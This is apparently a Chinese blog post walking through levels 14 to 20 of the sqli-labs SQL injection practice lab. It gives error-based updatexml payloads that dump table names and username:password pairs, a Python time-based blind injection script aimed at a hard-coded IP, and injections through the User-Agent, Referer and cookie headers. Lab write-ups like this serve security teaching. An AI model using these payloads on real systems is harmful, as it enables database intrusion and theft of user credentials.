SQL注入基础学习4

14、第14关
  • 测试注入点,查找闭合方式,闭合方式为"

  • 查找数据库

    admin" and 1=updatexml(1,concat(0x7e,(select database())),3)#
    
    /*结果如下*/
    XPATH syntax error: '~security'
    
  • 查找数据库中的表

    admin" and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#
    
    /*结果如下*/
    XPATH syntax error: '~emails,referers,uagents,users'
    
  • 查找users表中的数据

    admin" and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)#
    
    /*结果如下*/
    XPATH syntax error: '~id,username,password'
    
  • 查找字段usernamepassword

    admin" and 1=updatexml(1,concat(0x7e,(select substr(group_concat(username,':',password),1,30) from users )),3)#
    

    有长度输出限制,因此我们可以利用substr函数来解决这个问题,可以利用burpsuite的爆破模块来获取,结果如下

15、第15关

这一关是post的盲注,可以利用sqlmap来测试,或者自己写脚本,用request.post提交表单信息就可以了

下面是一段获取数据库长度和库名的实列代码

import requests
import time

header = {
    'Cookie': 'security_level=0; BEEFHOOK=edd3UMoFIeKB2j00LcxmECLXTbIo7LuW7EulDpQt287YZMa0M2cTEORVPG1cMRnkibKGTsXcauYPhVyx'
}
url = 'http://8.130.109.21:9999/Less-15/'
print("sqli-labs15")
sptime = int(input("请输入设置沉睡的时间:"))


# 获取数据库名字的长度
def get_databasename_length() -> int:
    count = 0
    for i in range(40):
        files = {
            'uname': "admin' and if(length(database())={},sleep({}),0)#".format(i, sptime),
            'passwd': '',
            'Submit': 'Submit'
        }
        start_time = time.time()
        requests.post(url, data=files, headers=header)
        end_time = time.time()
        if end_time - start_time > sptime:
            print("数据库的长度为:{}".format(i))
            count = i
            break
    return count


# 获取数据库名字
def get_databasename(count):
    print("数据库名字为:", end='')
    for i in range(count + 1):
        for j in range(33, 127):
            files = {
                'uname': "admin' and ascii(mid(database(),{},1))={} and sleep({})#".format(i, j, sptime),
                'passwd': '',
                'Submit': 'Submit'
            }
            start_time = time.time()
            requests.post(url, data=files, headers=header)
            end_time = time.time()
            if end_time - start_time > sptime:
                print(chr(j), end='')
                break


# get_databasename_length()
get_databasename(get_databasename_length())

运行结果如下

修改代码的时候,只需要修改'uname'的值即可

16、第16关

该关卡和第十五关的方法一样,只不过是闭合方式变成了")

17、第17关

uname怎么页面都显示错误,此时换一个注入点试试,换passwd,发现有效果,开始报错注入

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select database())),3)#&Submit=Submit

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&Submit=Submit

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)#&Submit=Submit

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)#&Submit=Submit

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select group_concat(username,':',password) from user)),3)#&Submit=Submit  /*当查询的时候,会发现出现下图的错误,百度一下,错误的解释是这样的,不能先select出同一表中的某些值,再update这个表(在同一语句中),解决的办法就是先将查询的结果令为一个新表,再从该表中查询*/

错误如图所示

修改后的代码

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select substr(group_concat(username,password),1,30) from (select username,password from users)a)),3)#&Submit=Submit

结果如下

18、第18关

当页面看不到明显变化,找不到注入点,可以尝试报头注入

post注入时,万能密码无法绕过验证,用户名无法注入,可以通过查看源代码分析页面执行的动作

所以,该关卡采用的是User-agent注入

  • 页面的用户名和密码输入正确的时候,页面会显示出uagent的信息

  • 进入后台查看页面的源码

    是将三个字段的信息插入uagents表中,利用burpsuite来完成后续的操作,将三个字段中的信息替换一下

  • 查询数据库

    ' or updatexml(1,concat(0x7e,(select database())),3),2,3)#
    

    结果如下:

  • 查询表

    ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3),2,3)#
    

    结果如下:

  • 后面的只需要替换查询语句就行给出最后的结果

    ' or updatexml(1,concat(0x7e,(select substr(group_concat(username,':',password),1,30) from users)),3),2,3)#
    

19、第19关

第19关跟第18关基本一样,查看页面源码

只需要换一个注入点referer,替换两个要插入的数据就行

后面的可以自己动手尝试一下

20、第20关

这一关卡是cookie注入关,输入正确的用户名和密码会跳转到下面页面

尝试在cookie出进行注入,利用select+union来注入

  • 测试列数

  • 测试回显位

  • 后面就替换查询语句

posted @ 2023-08-22 19:00  凉城厌心  阅读(12)  评论(0编辑  收藏  举报